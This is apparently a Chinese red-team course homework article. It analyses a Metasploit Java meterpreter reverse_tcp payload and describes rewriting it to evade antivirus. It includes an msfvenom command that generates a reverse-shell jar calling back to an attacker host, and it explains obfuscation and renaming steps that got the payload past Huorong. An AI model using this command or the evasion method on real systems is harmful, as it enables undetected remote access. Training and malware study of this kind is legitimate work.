红队作业 | 免杀Meterpreter java马
2022-1-17 08:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:25 收藏

文章来源|MS08067 红队培训班 第5期

本文作者:aeqaq(红队培训班5期学员)

按老师要求尝试完成布置的作业如下:

目标:

分析msf meterpreter java马的原理,然后自己写一个保留了核心逻辑的,来达到免杀效果。

1.生成马

msf6 > use java/meterpreter/reverse_tcpmsf6 payload(java/meterpreter/reverse_tcp) > msfvenom -p java/meterpreter/reverse_tcp LHOST=1.117.xxxxxx  LPORT=4444 W >text.jar

2.反编译分析源码

2.1用jd-gui反编译源码导出

也可以把jar包直接拖到idea里

2.2分析源码

MAINFEST.MF

jar包的签名文件,在里面找到加载入口类metasploit/Payload.class

metasploit.dat文件

里面存储了服务器端设置的ip和端口,还有一个Spawn参数

跟进到主类Payload进行分析,直接看main方法

最开始是一些读取文件和数据

接下来是做了一个文件的生成和删除,因为在metasploit.dat中,没有Executable这个属性,所以可以跳过

接下来是进入这个if判断,第一次的时候i==2,详细的在注释里面,因为代码水平较差,所以基本上每一步都解释了

这里主要是递归,创建了自己并且执行,然后把创建的都删了(i>0)的时候,就是Spawn参数>0的时候,是为了逃避杀软分析内存调用

下面一个else if应该是跳过的,看最后一个else,也就是i<=0的时候

 

核心:在这里执行字节码

3.尝试实现免杀

思路:

保留关键步骤,删去不必要的步骤,添加混淆步骤

在局域网进行测试

主要就是socket的建立和bootstrap方法保留下来

尝试方法:

1.写死ip和端口

2.添加混淆方法

3.更换方法,参数名字

尝试初期:总是timeout

Exception in thread "main" java.net.ConnectException: Connection timed out: connect

需要配合服务器端的msf监听器,去在Properties里把他设置的和msf端一样


火绒没报毒

回连正常

红队攻防 第5期 火热报名中

报名咨询联系小客服


扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

 

 

目前50000+人已关注加入我们

文章来源: http://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247497550&idx=1&sn=a25faff2fccae13255a6e18a1c6deaf1&chksm=fc3c4e4fcb4bc759df11608f793a81d3d9817c1f646f9f86efb19bc1fc2e68fdeaa16006ce97#rd
如有侵权请联系:admin#unsafe.sh